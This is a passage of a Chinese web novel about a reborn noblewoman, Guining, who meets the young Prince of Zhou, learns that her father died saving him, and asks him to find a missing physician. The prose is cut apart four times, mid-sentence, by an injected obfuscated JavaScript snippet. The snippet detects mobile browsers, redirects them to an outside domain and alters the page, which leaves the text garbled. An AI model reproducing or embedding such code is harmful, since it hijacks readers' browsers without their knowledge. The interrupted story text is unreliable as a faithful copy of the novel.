母亲是一个从来不会亏待自己的人，即便生活再不如意，她也会想尽办法，让自己活得有滋有味。譬如夏日到西山避暑，冬天去温泉山庄小住。 大抵是在祖父的葬礼上，经历过被人逼得无路可退的境地，长了教训，身旁除了一行家丁和婆子，还养了两条大狼犬。 这两条狼犬看着凶狠异常，母亲从一西北商人处购得，亲手养大，就拴在自己的院中。每次回苏州祭祖，还要带着一只与自己同行。从此外祖母再不用担心母亲会在老家吃亏。 母亲余生心愿，就是找到弟弟，撑起宋家门楣。 当年母亲带着年幼的归宁来到京师投奔外祖母，一起在弘文伯府住下。 归宁以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541643|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己和母亲会一直留在外祖母家，可母亲只住了三个月，便在距离弘文伯府一条街的地方，重新找了一个二进院的宅子搬了出去。 京师地贵，可宋家最不缺的是钱，母亲搬出去的那日，外祖母哭得稀里哗啦。似乎谁都不希望母亲搬走，可谁都没有开这个口。 归宁当初很不明白，明明在外祖母家住得很好，母亲为什么一定要搬走呢？ 只是后来随着年龄渐长，她明白了：母亲要为父亲守节，也为了守住宋家的家业。 母亲留在娘家，便是归家的姑娘，依旧会有人上门提亲。母亲搬出去，以宋家孀妻的身份寡居，更方便打理宋家产业。她要为父亲守住宋家，她的儿子只是丢了，不是死了，有朝一日若能找回，还能重振宋家。 本朝规定：公侯伯及内外文武四品以上官员，不得开设店肆，不许与民争利。当初父亲科举入仕之后，虽然官职不高，可祖父为了父亲的官声，还是主动放弃了很多生意，将不少铺子转给好友经营，自己只留下店铺的房契，收些租金；手上多余的闲钱用来在苏州置地。 父亲和祖父去世之后，宋家已无人在朝中为官，母亲作为宋家遗孀经营宋家买卖，符合朝廷法度。 不过她一个女子要重振宋家家业着实不易，尤其重新开启祖父之前放弃的生意，无异于虎口夺食。可能她也是看透了这点，趁着外祖母还在，伯府还能给她支撑，毫不拖泥带水地做了这个决定。 如此，归宁经常往返于母亲居住的倚梅园和外祖母家。母亲忙于打理宋家，而归宁也到了上学的年纪，故大部分时间归宁还是留在外祖母身边受教，和萧元绰一起读书。 直到她嫁人后，还会时不时过来探望母亲。 萧元绰在外四年，从来没想过她一个刚过门的小妇人，里外操持照看这么一大家子人，有多么不易。 前世她一腔热忱、几近狂热地盼望萧元绰归来，恨不得隔上三五日就要去一封家书问候。而他的回信寥寥，即便偶有一两封，给她的回复也是前言不搭后语，似乎她送去的很多信，他从未拆开细细看过。 这些年若不是有母亲出谋划策，她如此年轻，如何能将伯府打理的这般妥帖？母亲是外祖母教养出来的姑娘，又在生意场上拼杀多年，她的见识远胜归宁。 前世母亲走得急，但宋家的一切都安排的极为妥当，让归宁一个足不出户的内宅妇人，到死都能将宋家的一切牢牢把握在手里，这才给了归宁临终设局的机会。 母亲酷爱读诗作画，闲暇时，会将自己游览过的盛景绘成丹青，送给归宁。 父亲走后，母亲开始守节，不愿意再去凑那些无所谓的热闹，让人看自己笑话。这几日去温泉山庄小住，也是不想参加伯爵府的宴请。 寻常家宴倒也罢了，那日会有太多官宦人家的女眷，母亲丧夫多年，一直寡居，身份又特殊。既是伯爵府曾经的姑娘，又是伯爵府的岳母，难免惹人闲话，索性能躲就躲了。 怪就怪这闲话听起来还真是有些逆耳…… 8. 与君初见 京师不少人知道，上任弘文伯是老太太过继的孩子，唯有亲生的姑太太和外孙女与老太太有血亲。于是就有一些闲言碎语传开： 诸如儿子、孙子、儿媳妇于老太太而言到底是远了一层，心里唯对这个有血亲的外孙女疼爱异常，无论去哪里，见什么客，都带在身边。反观儿媳妇邓氏及邓氏所生的大孙女都不怎么讨老太太喜欢。 当年弘文伯世子刚中进士时，那是多少出身显贵的好人家的姑娘盯着呢？老太太一个也没瞧上，甚至不让邓氏去结交这些人，那是给自己的外孙女铺路呢！心里早就想好了，让和自己没有血亲的孙子娶了自己的外孙女，未来伯爵府的后人，就又是老太太的骨血了。这算计，精明着呢。 还生怕儿子儿媳不同意，硬生生拖到弘文伯病重，借冲喜的名义成亲，表面上是委屈了表姑娘，实际上是堵儿子儿媳的嘴。 要不就凭宋家的身份，怎能攀上这样的青年才俊？这下自己的外孙女掌了伯爵府的家，她那守寡的娘也有了照应，未来伯爵府还是她们娘俩的掌中物。 如此种种，自从归宁嫁给萧元绰之后，就时常听到一些风言风语。上一世，归宁受尽宠爱，却膝下无子，更有甚者说这就是贪心的报应，让她一度精神溃散，无颜面对夫君和婆母。 萧元绰和邓氏从来都是站在她这一边，细心开导安慰。邓氏还拉着她的手，满是疼惜道：“娶到你是我们的福气，不要听外面那些嚼舌根的胡言乱语，若是让母亲碰到了，定然给你好好出气。” 萧元绰更是频繁地宿在她的院子，送她花样繁多的胭脂水粉、各样时兴的布料首饰讨她欢心。 如今睁开眼来看清楚之后，归宁只觉如坠冰窟，刺骨的冰冷在一寸寸将她吞噬。 萧元绰应该是不愿意娶她吧，只是迫于外祖母的压力，不得不屈服罢了。如果当时有个更好的岳家扶持，萧元绰守制结束，应该很快能调回京师。无论她如何费心费神，为他倾尽所有，始终抵不过一个更加显赫的出身。 还有邓氏，本就瞧不上她，却被外祖母强压一头，不得不认下这个媳妇，自然要想尽办法从她身上要尽好处，还要掐断她唯一的希望。 他们这是要榨干归宁身上最后一滴血，让归宁心甘情愿为萧家操劳半生，最后还带着愧疚将宋家家业悉数奉上。最后萧家不仅得了好处，还落了个极好的名声。她献出一切，还要被人唾骂，攀附高枝，不能生育，活该被报应。 当初外祖母刚刚病逝时，不少内宅女眷还在背地里嘀咕邓氏撑不起来，瞧不上邓氏那小家子气。短短几年，风向变了，反倒成了一切都是外祖母的算计，委屈了邓氏。 归宁觉得，这应该不是巧合。或许从一开始，她就已经落入了邓氏的算计。背地里编排她，转过头来又换成一副和蔼可亲的面孔安慰她。让归宁既愧疚又感动，最后心甘情愿将邓姨娘的孩子认在自己名下，让他名正言顺地继承宋家的一切。 不过以上种种皆是归宁根据前世的一切，做的一些猜测，她通通没有证据。 身边豺狼虎豹环伺，只有母亲是她最信任的倚靠。 母亲不去庆宴，却也放不下她，知道她近来很忙，连给自己做新衣的时间都没有，特意命人给她赶制了几件体面华丽的衣衫，归宁此来就是来取衣服的。 柳妈妈将归宁等人请进屋，沏了茶，笑道：“姑娘稍等，我去取娘子留给你的东西。” 归宁应了一声，四处打量了一眼，母亲的屋子装饰古朴雅致，屋内摆放的家具均是红木打造，摆设多为紫檀，屏风镶嵌白玉，一应陈设皆稳重大气。 时隔十多年，再次回到母亲的院子，归宁终于有了一种归家的温暖之感。 不多时，柳妈妈捧上一个木漆托盘，上面整整齐齐叠着三套衣服，归宁上前摸了摸，一件缂丝，一件苏绣，还有一件是蜀绣，用料极为考究，颜色也是既喜庆又端庄。 柳妈妈笑道：“姑娘要不要试试？” 归宁笑着摇了摇头，“不用试，母亲准备的东西自然都是好的，帮我包好吧。” 周嬷嬷却有些不放心地劝道：“夫人还是试试吧，明天就要穿了，若是有不合适的地方，我还能连夜给改一改。” 归宁道：“天色不早了，回去再试吧。” 正当几人说话之际，院外传来敲门声。柳妈妈闻声笑着打趣道：“这个时候，还能有谁来？不会是大爷来接姑娘吧？” 不等归宁答话，柳妈妈迈着轻快的步子出了屋。不多时很快折了回来，“姑娘，有位陌生公子来寻娘子。我说娘子不在，他说寻您也是一样的。” 归宁看了一眼屋外黑沉的天色，眉头微蹙。她一个内宅女子，前世今生也就和萧元绰一人相熟，着实想不出还会有谁会特意来找她。 思忖须臾，归宁道：“既然是寻母亲的，还是等母亲回来之后再来吧。” 私会外男，若是被萧家知道，什么私通外男、暗度陈仓、水性杨花、不守妇道的罪名扣下来，足以置她于死地。 如今她正陷虎口狼窝，只能小心再小心，不可留人把柄。 柳妈妈也知道不太妥当，只不过那人长相太过俊美，为人又谦和知礼，像极九天宫阙下凡人间的谪仙，一举一动皆是浑然天成的贵气，着实不忍拒绝，她才过来问一声，见归宁不愿意见，便去回绝对方。 哪知刚出去片刻，竟然略带慌张的又跑了回来，将门掩好，紧张道：“姑娘，他说他与老爷有些缘分，特来拜会。明日就要启程离开京师，之后可能再无拜访的机会。”他还给了老奴一样东西。 言罢，双手将东西捧上。 那是一块蟠龙玉佩，玉质温润，触手生温。 归宁心神一震，瞳孔微缩，这块玉佩她前世见过，不过那是在母亲病故后，整理母亲的遗物时找到的。 玉佩放在一个锦囊内，里面还有半阙书信。书信的上半阙已经遗失，写了些什么，归宁并不清楚。而下半阙也有一半被特意撕掉，只留了几行字和落款。无外乎是祝愿之词和若有难处可随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541644|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿此玉佩去寻他等等。 归宁猜测，信中内容可能涉及到一些不便让外人知道的密辛，母亲怕留下会徒惹麻烦，故意毁掉了。 她大概知道院外要拜会的是何人了。 归宁稳了稳狂跳的心脏，深吸一口气，定了定神，才道：“把人请进来吧。” 这个人，她必须见。 前世，她以死为局，就是希望这个人能为她讨回公道。今生竟然能这么早见到他，是老天在帮她。 前世的今日，萧元绰也是请了半日的假，特意留在内院陪她，二人闲说着家常，偶尔萧元绰说几句官场上的事，归宁都能接上几句，让他颇为心动。最后二人说笑着滚到了一处，成就了那一晚的花好月圆。 今世，归宁有意躲避，特意选了今天出门去见杨老夫人，又挨到天色渐晚，再来母亲这里小坐片刻，故意晚归，竟然无意间遇到了前世的贵人。 她不知道，这位贵人与宋家长辈有何具体的渊源，缘何会给母亲写信。母亲也从未向她提起过他，而且当年母亲去世的十分匆忙，碰巧又逢归宁小产修养，导致她连母亲最后一面都没见上。 如果不是母亲身边柳妈妈不顾外院人的阻拦，冲进伯府去告诉她，她还被蒙在鼓里。 至于萧元绰有没有参与谋害母亲，到底是怎么下手的，她没有任何证据，一切都只是猜测，而且母亲身边的柳妈妈在扶母亲灵柩回苏州后不久就染病去世了，死前也没有留下只言片语。 香冬也说她只是怀疑，至于她男人有没有暗中下毒手，她并不知情。 她掉入萧元绰精心编织的陷阱里，在他的温柔呵护中迷失，对于这些异常之处，之前从未有过疑心。 萧元绰将自己包裹的严丝合缝，近乎完美。十多年朝夕相处，从未在归宁面前露出过破绽，如不是香冬揭发，至死归宁都发现不了他的利用与欺骗。他依旧是那个夙兴夜寐，一腔热忱，为民请愿的好官。 母亲走得急，很多东西没有交代清楚。或许有关那块玉佩或者那块玉佩的主人，母亲也根本没有想着要告诉她。毕竟那个人离归宁太远，一生恐怕不会有交集。 今世阴差阳错之下，有了这个意外的相逢。 二人隔着檀木屏风在偏厅相见。 周嬷嬷给这人上了茶，请他上座。来人拱了拱手，并没有坐，而是道：“小王时间有限，说几句话就走，不必麻烦了。” 这人不是别者，正是小周王。 前文说过朱君澜曾去过萧府，吃了闭门羹；找宋娘子又扑了空。应邀去了栖迟别院几日，与徐四公子叙叙旧。 酒逢知己千杯少，况且在徐四那里他确实见了不少好东西，尤其是那款改良的火铳。 如此又耽误了几日，等他再想慢慢接触宋家人，顺便继续找寻七殿下留下的旧人时，宫里突然来了消息，说朝中有意派一名御史巡防沿海事务，请他同行。 国事优先，朱君澜推脱不掉，只好抱着最后一丝希望，过来看看是否能见到宋娘子。 9. 救命之恩 本朝建立之初，边疆不稳，为了平衡朝朝廷勋贵的权势，皇子们被派往各地就藩，手握重兵，统领一方。加强边防，上卫国家，下安生民。 然这也助长了藩王们的野心。太祖过世后，这些掌握地方军政大权的藩王拥兵自重，逐渐生出不臣之心，成为帝王的心头大患。后成祖平乱，荣登九五，开始削弱各藩王的势力。 起初太祖为了让后世子孙永享安乐，针对皇室子弟制定了极为优渥的待遇，对各级宗室的规格、禄廪、承袭做出明确规定。 而后续继任者们为了皇权安稳，又颁布了一系列限制藩王的政令，如禁止藩王参与朝廷事务，不许藩王入仕，藩王除了对自己的封地具有一定的管辖权外，不许干涉地方政令等等。 如此，宗室藩王一来接受朝廷的供养，二来却无需为国家出力。 虽藩王不参政，但他们还是具有举荐人才和监督官员的权利，如有藩王状告某官员贪赃枉法，朝廷会格外重视。也恰是因为这一点，归宁前世才会将最后的希望寄托在周王身上。 不过，周王比起一般的藩王，的确还有一些特殊之处，这一切都源于那块特殊的封地——福建。 福建距离朝廷中枢太远，又常有海寇作乱，实在称不上太平。朝廷特许周王保留超越王府规格的私兵，一来护卫周王府，二来帮助百姓抵御海寇。可这些私兵，朝廷不负责发放粮饷，全部依赖周王自行解决。 偏偏福建本身又偏又穷，不像其他地方的藩王，除了朝廷固定发放的宗室禄米，还有封地富庶的税赋，可以享受穷奢极欲的奢靡生活。历代周王虽有碌碌无为者，但都深谙百姓之苦，不愿意加重税赋搜刮民脂民膏，是以在各藩王中过得最朴素节俭。 而承袭到现在这位小周王这一代，为了抵御海寇，安抚封地百姓，不仅没有娶妻，还几乎将王府掏空。不过这是多年以后的事情了，如今的周王仍然健在，小周王尚未袭爵。 有关以上种种，归宁作为内宅女子本该接触不多。可是她一直在寻找一位故人的下落，为此托了一波又一波的人去他最后现身的东南沿海一带打探消息。 从福建回来商人，都对周王均赞不绝口。周王的事迹在当地百姓中广为流传，他们纷纷建议：如果她有结识周王的门路，打探起来会事半功倍。 那时的归宁对萧元绰一片真心，不愿意与其他男子有太多牵扯。况且母亲当年寻找弟弟时，都没有想过动用周王的人脉关系，她这点儿事情，有何颜面求到周王面前。 实不愿因这等俗事，打扰那位传说中谪仙一般的人物。 而今世因为阴差阳错，这个人活生生地出现在自己面前，让归宁突然间多了几分好奇和莫名其妙的宿命感，温声道：“小王爷有话请讲。” 周嬷嬷站在一旁，悄悄打量了小周王一眼，只见他身着素色暗花锦衣，头戴玉冠，腰束鞓带，腰间丝绦空悬，想来刚才递进来的那块蟠龙玉佩，就是从他腰上解下来的。 小周王没有开口，而是看向周嬷嬷，颔首示意。周嬷嬷深谙大宅院的规矩，福了福身子，躬身退去，将门紧闭。 小周王缓缓开口道：“令尊于小王有救命之恩，小王特来拜谢。” 提起父亲，归宁心口一酸，道：“承蒙小王爷挂念，家父已过世多年。”她以为他不知道宋家的变故。 小周王涩声道：“小王知道，当年宋大人就是为了搭救小王，才被箭矢所伤。小王欠宋大人一条命。” 归宁大惊，没有人告诉过她，前后两世，她从来不知道宋家与周王的渊源竟与父亲有关，更不知父亲是为了救小周王而死。 父亲若还在，宋家怎会落得如此境地？想到宋家之后的人丁凋零，归宁百感交集，哑声道：“斯人已逝……” 说再多有什么用？父亲还能回来吗？ 她不是一个挟恩图报的人，可宋家的难处，又有多少人懂得？在这个以夫为纲的时代，父亲的亡故对于一个三代单传的家庭是釜底抽薪的灭顶之灾。若不是舅舅奉外祖母之命，及时赶到苏州为她们母女撑腰，那些红了眼的亲戚恨不得将她们拆骨入腹，生吞活剥了去。 归宁仰起头，压抑住内心的悲戚，深吸一口气道：“都过去了。” 对方的平静，让小周王更加愧疚。 时过境迁，这声道谢来得太迟。小周王已做好最坏的打算，本以为会迎来对方的指责，却没想到会是这般平静的回复，喉结滚了滚，道：“不是小王不想早些来，而是宋大人过世之后，你们就来了京师。而我是藩王，无诏不得入京。” “当年那些倭寇劫持我跑到了浙江一带，父王为了救我，带着乔庄打扮的私兵一路从福建追了过来。宋大人知道我身份特殊，临死之际，让父王带着我快快离开。路上我大病一场，再醒来时，已经回到了福建的王府。” 在本朝，藩王受朝廷供养，可也要接受朝廷的诸多限制，如无诏不得入京，无允许不得离开封地，如有违令，轻则降罚，重则极有可能被削藩。且周王又与别个藩王不同，为了抵御海寇，手中私兵甚多，若是朝廷知道他带着私兵离开封地，被有心之人参奏一本，后果不堪设想。 小周王继续解释道：“那些人知道朝廷对藩王限制极严，故意将我劫持，再派人给父王报信，引得父亲率兵来救我。他们劫持我出了福建，一直往南直隶省方向走。目的就是让父王带着王府私兵直接追到应天，惊动官府，他们再以此作筏子，上奏朝廷，诬告父王有谋逆之心。如此便是扳不倒父王，也能让朝廷收缴父亲手中的私兵。” “只是走到浙江，偶遇督办漕运的宋大人。宋大人心细如发，很快发觉了这群人的特殊。我趁机呼救，引起宋大人注意。双方最后动起手来，父王也在这时候带人追了上来。一场混战之后，我被解救下来，宋大人却受了重伤。” “宋大人知道我和父王身份特殊，让我们不要顾及他，尽快离开。可等父王带我回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541645|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封地之后，却听到宋大人身亡的消息。我当时不知道宋大人伤得那么重，若是知道，定然会留下来……” 父亲一直是个坦荡磊落的人，周王是福建百姓的希望，父亲救下小周王，并帮周王打掩护，就是不想让那些贼寇得逞，这是父亲的选择。 归宁鼻头一酸，眼眶微湿，哑声道：“父亲自然有他那么做的道理，周王与小王爷为守一方安宁，殚心竭虑，父亲若在天有灵，心里也是高兴的。” 小周王对着屏风内的归宁深揖一礼，“小王奉命来京，不宜久留，明日就要启程离开。今日特来拜谢，若夫人与宋娘子日后有什么难处，可随时差人去福建寻小王，小王自当竭尽全力，以报宋大人救命之恩。” 母亲独撑宋家，虽未嫁时是伯府小姐，身份尊贵。如今丧夫，也只是平民女子，故冠夫姓，人称宋娘子。 他二次来访，还是扑了空，正要悻悻而归时，竟意外在胡同口撞见了归宁的马车。抱着一线希望，让赶车的顾舜过去瞧瞧，是不是自己要寻的那户人家的主人回来了。 开门的妈妈说：“娘子不在，是我们姑娘回来了。” 在他心里，不管是谁，只要与宋大人有关，能见到就是幸事。 以前小周王每隔两年就会悄悄离开福建，去往苏州，祭拜归宁的父亲。只因苏州距离陪都应天太近，他们是暗中行事，不能声张，更不能被朝廷知晓，所以都是避着人悄悄地来，然后悄悄地走。曾几次路过宋家祖宅，都未见到那里的主人。 这次终于有机会来一次京师，也是费了九牛二虎之力，才有了这次匆匆会面。 被困在萧家的归宁，听到小周王要报答父亲的恩情，竟然有些跃跃欲试的犹豫。 她的确有麻烦在身，可又不想因自己身边的这些龌龊事，玷污了父亲那颗拳拳赤诚之心。父亲救小周王，不是为了报答，更不是为了让归宁以此做借口，借小周王的手处置萧家。 现在不比前世，前世她怀疑萧元绰害了母亲，又毁了她的一生，才不惜一切。现在她还有转圜的余地，觉得不该让小周王无端卷入萧家之事。 思忖须臾，归宁略带犹豫道：“确实有件事想让小周王帮忙。” 听到对方有求于自己，小周王俊雅的脸上漫出一丝欣慰的笑意，“夫人但讲无妨。” 归宁沉吟片刻，缓缓道：“当年外祖母尚在时，曾带我们回祖籍应天小住。在那里结识了一位民间郎中。这位郎中为人正直，医术高明，很受外祖母赏识。后来外祖母生了重病，我托人去寻这位郎中，却听说他已经销声匿迹了很久，最后一次现身是在广东或福建一带。” “有说他出海时，遇到了海难，已经葬身海底；还有说他被当地的海寇杀了；更有说他的船在海上遇到了风浪，可能漂流到了荒岛上，被困在了那里……” “至今寻了五年，依旧杳无音讯。妾身听说，小周王对沿海一带很是熟悉，能否帮忙寻一寻此人？” 10. 寻人 伯爵府虽没有王府那般尊贵，可要请一个大夫也是极容易的事，张大夫找不到，还有李大夫王大夫，民间大夫多如牛毛，实在没必要如此大费周章得找一个人。 面前的女子，竟为了一个无足轻重的小人物，开口请他帮忙，让小周王十分奇怪，可也不好多问。 朱君澜问道：“不知此人姓甚名谁，祖籍何处？以何谋生？夫人手中可有此人画像？” 归宁逐条答道：“此人姓许，名宜逅，江西吉安府庐陵坊廓乡河山村人，自幼聪明好学，但屡试不第，改习歧黄，医道不凡。常年在应天和沿海一带行医，偶尔出海做些香料和药材买卖。尚未娶亲，家中还有一位年过半百的老母。妾身与他只有一面之缘，当时外祖母在应天惹了急症，他来府中给外祖母诊病，年纪轻轻，却能用药如神。” 那也是外祖母有生之年最后一次南下，次年舅舅就出事了。 “时隔多年，妾身只是模糊记得他的相貌，可以画个大概，但不一定精准。” 朱君澜道：“那就劳烦夫人画一幅，我先拿回福建。既然许大夫常年在沿海一带行走，定然有见过他的人，我再托人四处打探一番，应该能遇到熟悉他的人。” 归宁道，“请小王爷稍后片刻。” “不妨事，夫人请便。” 归宁的母亲素喜读诗作画，屋里笔墨齐全，她铺纸研墨，很快画出一张略显平凡的男子肖像。 归宁铁了心要找这个人，原因有二，一是前世自己和母亲都是重病而亡，不熟悉的大夫可能会迫于萧家的势力对她有所隐瞒，就如前世的刘御医，她唯一能够信赖的就是有过一面之缘，却为人坦荡的许大夫。 许大夫医术精良，不比宫里的御医差，人吃五谷杂粮，免不了有个头疼脑热，若是能早点儿找到许大夫，或许很大程度上能避免前世的悲剧。 其二也是受人之托。许大夫生前曾为外祖母配过丸药，颇得外祖母欣赏，如此萧家和许家也算有些交情。他无故消失之后，他的老母几经辗转找到了弘文伯府在应天的老宅，托萧家帮忙打探，归宁此举也是为了许大夫的老母。 屋内的下人已被遣退，归宁无人可使唤，只得自己拿着画像从屏风内转出来，亲自交到小周王手上。 此时的朱君澜正端坐在太师椅上等候，见她出来，起身拱手道：“伯夫人。” 按照地位品级，应该是归宁给他行礼，见他如此放低姿态，归宁忙福身道：“妾身不敢当。” 朱君澜接下画像，睨了归宁一眼，只见她上着月白色流云纹织锦窄袄，外罩石青刻丝灰鼠比肩褂，下着月白色梅花绣百褶裙。 纤秾合度，身段修长，举止大方。面若三月春桃，轻施粉黛，便是满室春华。举手投足间，有一股书卷的清雅之气。 朱君澜将画像收好，“夫人放心，若有消息小王即刻派人传信回来。” 前世小周王袭爵之后，一直被人称为白衣王爷，因他喜欢穿素衣。许是在京都的缘故，要顾及宗室颜面，衣着十分考究。据说他在封地时，经常穿一袭粗布素衣，翩翩风雅，如隐居山林的谪仙。 今日一见，仙风道骨如玉山倾倒，果然风采不俗。 归宁道谢：“有劳小王爷。” 朱君澜将周嬷嬷递还给他的蟠龙玉佩用锦帕包好，递过来道：“以此为证，若有难处，可凭此玉佩来寻小王。” 蟠龙玉佩乃本朝皇室宗亲的信物，上面还刻有主人的名字，是身份的象征。归宁一介妇人，实在不好将外男的东西留在身边，婉拒道：“此物太过贵重，还请小王爷收回。” 朱君澜将东西放在桌上，“我闻听令堂一直在找早年间丢失的小公子，请将这块玉佩转给令堂，关键时刻，可拿此玉佩去应天府的刑部找人帮忙。”话说到这个份儿上，已是明明白白告诉归宁，应天府刑部有与周王相识的人，而且关系还不一般。 本朝禁止藩王与朝中重臣私下结交，就是交情不错，也不会摆到明面上来说，小周王竟会对她这个外人毫不避讳的说起这等有违规矩的事，可见是真心实意要帮忙。 既然是给母亲的，归宁不好再拒绝，福身道：“那恭敬不如从命，妾身就替母亲收下了。” 朱君澜微微颔首，又道：“定国公的四公子徐景芝与小王交情颇深，若有消息传来，小王会让他代来通报。若是遇到难处，也可拿此玉佩去栖迟别院寻他，他定会鼎力相助。” 定国公的祖上曾随太祖南征北战，建下赫赫战功，其女嫁与燕王为妻。靖难之变后，燕王登基称为皇帝，徐家女被封为皇后。而当时的定国公却选择支持废帝，坚决不肯迎接新帝，因此被关进大牢，革除俸禄和爵位。 后徐皇后病重，看在徐皇后的面子上，皇上特许其长子继续袭爵。 许是有这样的渊源，定国公一脉虽保住了爵位，但子嗣一直不受朝廷重视，即便有不少贤德之人，也被有意忽略。 可就是这样的门第，也是归宁的夫家弘文伯府高攀不起的，当年大姐姐使劲浑身解数想要嫁给徐四公子，都没能如愿。 不过小周王选的人，也不是她能置喙的，十分礼貌道：“妾身知道了。” 屋外天色已暗，朱君澜不宜久留，匆匆告别：“时候不早了，小王告辞。” 见归宁要送，忙道：“伯夫人留步吧。”不管是谁，瞧见她暗夜相送，总归是不好。 刚走出几步，朱君澜似乎是想到了什么，突然在廊下驻足，犹豫片刻，略有些迟疑道：“我这次进京前，曾路过苏州，祭拜宋大人时偶遇一位妇人带着一个哑巴后生，也是去祭拜宋大人，不知道宋家可有这样的亲朋或旧友？” 直觉告诉他，这对母子很是不同寻常，无论是选择的时间，还是那种遮遮掩掩另有隐情的模样，都让他觉得十分奇怪，所以才有此一问。 关于宋家的事情，他也道听途说了很多，听闻宋家在宋老爷子病逝之后，宋家亲戚差点儿因分家之事对薄公堂。他唯恨自己山高路远，消息不便，等到他打听到宋家的变故时，她们母女已经举家迁往京师。 京师重地，他就更加鞭长莫及了。 从前世归来的归宁离开苏州太久，对于宋家那些有的没的亲戚早就生疏了，故对小周王的疑问并未放在心上，随口解释道：“母亲在苏州宋家的祖宅内办了族学，请先生教族中弟子读书，那女子或许是宋家族人，去祭拜父亲和祖父也正常。” 这个理由也说得过去，朱君澜闻言只是略点了个头，拱手告辞。 归宁朝着小周王离去的背影深施一礼，命周嬷嬷带好东西，套车回府。 一路上归宁见周嬷嬷一副欲言又止的模样，终于忍不住道：“嬷嬷是有什么话说？” 周嬷嬷郑重道，“这事牵扯到了太夫人，老奴若是说错了，夫人就当老奴多嘴了。” 与邓氏有关的事归宁都十分感兴趣，隧道：“嬷嬷是我的奶娘，什么多嘴不多嘴，直说就是。” 周嬷嬷招待随行的顾舜时，从他口中得知，他们曾去过萧府，被无端奚落了一顿。 顾舜这人向来恩怨分明，不似主子那般有涵养，夹枪带棒的可把萧府狗眼看人低的奴才们骂了一顿，若不是周嬷嬷连连道歉，他能说一晚上。 周嬷嬷道：“我听他的描述，拦着他们的人应该是吴明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541646|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他是太夫人的人，竟敢公然阻拦来见夫人的人，是狗仗人势，还是得了谁的授意？” 周嬷嬷点到而止。 这就说得通了，邓氏的笑里藏刀，由此可窥见一斑。归宁冷声：“吴明不能留了。” 周嬷嬷道：“到底是太夫人的陪嫁，不看僧面看佛面……” 归宁道：“我自有安排，让婆母亲自处置他。” 吃了前世的亏，她也学着如何不弄脏自己的手，且看明日家宴上，她如何搬回这一局。 ** 冬日天黑得早，才戌初，已经漆黑一片。归宁回府时，萧元绰已经在垂花门外转了两圈，她再不回来，他恐怕要骑马去杨阁老家去接人了。 见有人报，“夫人回来了。”萧元绰忙放下手中的狼毫笔，从书房快步走出来相迎。 此时归宁刚在垂花门处下了车，迎面瞧见萧元绰提着八角宫灯在等候，盈盈一拜道：“妾身回来晚了，让夫君忧心了。” 萧元绰萦绕在嘴边的质问化为轻轻一笑，“是不是和杨老夫人聊得太投机了？” 归宁却道：“去了母亲那里，取了一些东西。不小心把母亲的一幅画弄脏了，本想描补描补，结果越补越差。” 萧元绰扑哧一笑：“看姑母回来怎么罚你！毁了哪幅画？看看我能不能帮你补补。” 归宁的母亲既是他的姑母，也是他的岳母，但他更喜欢用姑母这个从小叫到大的称呼。 归宁摇头，娇媚一笑道：“都说大师能变废为宝，或许以母亲的才智，能发挥出一幅旷世佳作也未可知呢。” 萧元绰看着昏黄廊灯下女子宛若仙娥的笑颜，心头微动，伸手想要去拉她的手，被归宁不留痕迹地躲开。 她抬起手，扬了扬从母亲那里顺来的孤本，笑道：“母亲那里到处都是宝贝，你看，我还寻到了这个。” 夜间的灯火太暗，萧元绰看不清书上的字迹，想凑近一些瞧清楚，却被归宁一把塞进了怀里，“这是王守仁手书的《大学问》。” 萧元绰有个毛病，但凡得了好书，就会兴奋的睡不着，定要彻夜苦读，今日得了这本王守仁亲笔的《大学问》，更是爱不释手。 将归宁送回孤芳苑，二人只是闲聊了几句，萧元绰就按耐不住心中狂喜，拿着书一路小跑回了书房。 见他离去，今晚又躲过一劫的归宁暗松一口气，揉了揉眉心，扶着南烟的手去梳洗。 ** 福寿堂的邓氏听了消息，眼中闪着精光，对着给自己篦头的姜妈妈道：“绰儿这是想通了？与那宋家孤女生分了？” 姜妈妈手法温柔，将邓氏的白发悄悄藏起，“明天表姑娘还会过来，不如留她多住几日？” 